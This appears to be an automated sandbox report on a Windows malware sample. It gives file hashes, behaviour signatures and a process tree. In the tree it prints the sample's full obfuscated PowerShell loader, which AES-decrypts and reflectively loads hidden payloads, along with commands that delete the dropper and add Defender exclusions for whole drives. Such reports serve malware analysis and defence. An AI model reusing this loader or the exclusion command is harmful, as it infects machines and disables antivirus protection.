Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-04-2023 05:51

General

  • Target

    给老子冲/影流之王🈹 (5).exe

  • Size

    1.1MB

  • MD5

    98e247275859543e4f338a906b7a0e2d

  • SHA1

    cbc75272194f9b96719635e5a1ad347e8aaeb972

  • SHA256

    c4318f631e8c30ff72114876c9fb3e435941b5bf18ab969c53c26483e5699eb8

  • SHA512

    04cd9e7fd6f36ccdb4fb64ec86fa5c38d2997849f7330c63bf0db4286cea2a8588600afdec8a56ade39c0e718d5e235e762757295e0e745503ebbb147fde1d9a

  • SSDEEP

    24576:G2Bf9f3u+9UjIS1Nl1JPSAqn4HuuwOBJM12nYELdGCLE:G27f3kFaA6intW

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\给老子冲\影流之王🈹 (5).exe
    "C:\Users\Admin\AppData\Local\Temp\给老子冲\影流之王🈹 (5).exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3872
        • C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe
          "C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe" -w hidden -c $YEEK='GCVLietCVLiCCVLiurreCVLinCVLitCVLiProCVLicesCVLisCVLi'.Replace('CVLi', '');$POMR='LoCVLiadCVLi'.Replace('CVLi', '');$AGNg='TCVLirCVLiansfCVLioCVLirmCVLiFinaCVLilBCVLilocCVLikCVLi'.Replace('CVLi', '');$plSj='SplCVLiitCVLi'.Replace('CVLi', '');$vQEn='FrCVLioCVLimBCVLiaCVLiseCVLi64SCVLitCVLirinCVLigCVLi'.Replace('CVLi', '');$XaVM='InvCVLiokCVLieCVLi'.Replace('CVLi', '');$wVKZ='ChCVLiangCVLieCVLiExCVLitCVLienCVLisionCVLi'.Replace('CVLi', '');$wHeU='FiCVLirstCVLi'.Replace('CVLi', '');$hLUz='MaiCVLinMCVLiodCVLiuleCVLi'.Replace('CVLi', '');$WUIc='EnCVLitryCVLiPoCVLiinCVLitCVLi'.Replace('CVLi', '');$alFu='ReCVLiaCVLidCVLiLinCVLiesCVLi'.Replace('CVLi', '');$ByBm='CCVLireCVLiaCVLiteCVLiDeCVLicrCVLiyCVLiptorCVLi'.Replace('CVLi', '');function ewixP($AAaRe){$omicA=[System.Security.Cryptography.Aes]::Create();$omicA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$omicA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$omicA.Key=[System.Convert]::$vQEn('XD+9NVavP36xq+/eONlCELUYPWiNze3ftFux/SslCWE=');$omicA.IV=[System.Convert]::$vQEn('vTnI2Q4cYpsFZdMCUt5nXQ==');$zwRBV=$omicA.$ByBm();$oJPPd=$zwRBV.$AGNg($AAaRe,0,$AAaRe.Length);$zwRBV.Dispose();$omicA.Dispose();$oJPPd;}function jlGEQ($AAaRe){$qlsEE=New-Object System.IO.MemoryStream(,$AAaRe);$hzoPC=New-Object System.IO.MemoryStream;$ICTKK=New-Object System.IO.Compression.GZipStream($qlsEE,[IO.Compression.CompressionMode]::Decompress);$ICTKK.CopyTo($hzoPC);$ICTKK.Dispose();$qlsEE.Dispose();$hzoPC.Dispose();$hzoPC.ToArray();}$UsbMc=[System.Linq.Enumerable]::$wHeU([System.IO.File]::$alFu([System.IO.Path]::$wVKZ([System.Diagnostics.Process]::$YEEK().$hLUz.FileName, $null)));$BCmrp=$UsbMc.Substring(3).$plSj(':');$KaFHq=jlGEQ (ewixP ([Convert]::$vQEn($BCmrp[0])));$GjXDD=jlGEQ (ewixP ([Convert]::$vQEn($BCmrp[1])));[System.Reflection.Assembly]::$POMR([byte[]]$GjXDD).$WUIc.$XaVM($null,$null);[System.Reflection.Assembly]::$POMR([byte[]]$KaFHq).$WUIc.$XaVM($null,$null);
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:716
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(716);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1848
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5108

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fedoycxj.5ju.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat

    Filesize

    487KB

    MD5

    bb6a0d80de3dd26795653ec1bc7eac1a

    SHA1

    53a7368181af6191d282b59954c3fbbdcdb4f257

    SHA256

    e55f25f0d19246b03cbaa4ab860917629f681450d19eae7e7dd1fb593e85a93c

    SHA512

    75fed7438425480912c9f75695388f0b8a7135d4be783e8def9c482fd4467c99d811cf298e7e9f92d3de7a25edb76eb262eab42039cac5c0613b9a79357e4c69

  • C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • memory/716-151-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

    Filesize

    64KB

  • memory/716-186-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

    Filesize

    64KB

  • memory/716-152-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

    Filesize

    64KB

  • memory/716-153-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

    Filesize

    64KB

  • memory/716-154-0x00007FFFBD810000-0x00007FFFBDA05000-memory.dmp

    Filesize

    2.0MB

  • memory/716-155-0x00007FFFBC340000-0x00007FFFBC3FE000-memory.dmp

    Filesize

    760KB

  • memory/716-146-0x000001F3A94A0000-0x000001F3A94C2000-memory.dmp

    Filesize

    136KB

  • memory/716-187-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

    Filesize

    64KB

  • memory/716-185-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

    Filesize

    64KB

  • memory/1848-177-0x000001839B680000-0x000001839B690000-memory.dmp

    Filesize

    64KB

  • memory/1848-175-0x000001839B680000-0x000001839B690000-memory.dmp

    Filesize

    64KB

  • memory/1848-188-0x000001839B680000-0x000001839B690000-memory.dmp

    Filesize

    64KB

  • memory/1848-189-0x000001839B680000-0x000001839B690000-memory.dmp

    Filesize

    64KB

  • memory/3676-133-0x00000000004B0000-0x00000000005C4000-memory.dmp

    Filesize

    1.1MB

  • memory/5108-178-0x000001AE87240000-0x000001AE87250000-memory.dmp

    Filesize

    64KB

  • memory/5108-179-0x000001AE87240000-0x000001AE87250000-memory.dmp

    Filesize

    64KB

  • memory/5108-176-0x000001AE87240000-0x000001AE87250000-memory.dmp

    Filesize

    64KB